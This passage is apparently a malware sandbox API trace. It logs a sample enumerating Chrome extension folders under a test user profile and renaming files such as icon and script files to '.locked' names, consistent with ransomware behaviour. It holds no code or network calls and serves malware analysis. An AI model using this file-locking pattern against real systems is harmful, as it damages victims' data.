lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.884] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.886] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.887] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.889] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.891] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.893] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.894] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.896] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.898] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.900] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.901] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.903] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.905] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.907] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.908] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2cbbbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2cbbbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.910] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2ce1d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2ce1d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.912] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x427ab0 | out: lpFindFileData=0x427ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2ce1d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2ce1d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x427898, cFileName=".", cAlternateFileName="")) returned 0x825ad0 [0133.914] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x428d80 | out: lpFindFileData=0x428d80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2ce1d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2ce1d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x428b68, cFileName=".", cAlternateFileName="")) returned 0x825a50 [0133.918] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x428418 | out: lpFindFileData=0x428418*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2ce1d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2ce1d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x428200, cFileName=".", cAlternateFileName="")) returned 0x825a90 [0133.927] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.locked"), dwFlags=0x2) returned 1 [0133.930] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.locked"), dwFlags=0x2) returned 1 [0133.932] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.locked"), dwFlags=0x2) returned 1 [0133.933] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.locked"), dwFlags=0x2) returned 1 [0133.937] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x427ab0 | out: lpFindFileData=0x427ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d07ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d07ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x427898, cFileName=".", cAlternateFileName="")) returned 0x825ad0 [0133.941] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d07ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d07ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.943] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.945] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.946] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.948] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.950] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.951] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.953] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.955] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d2e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d2e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.957] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.959] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.961] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, 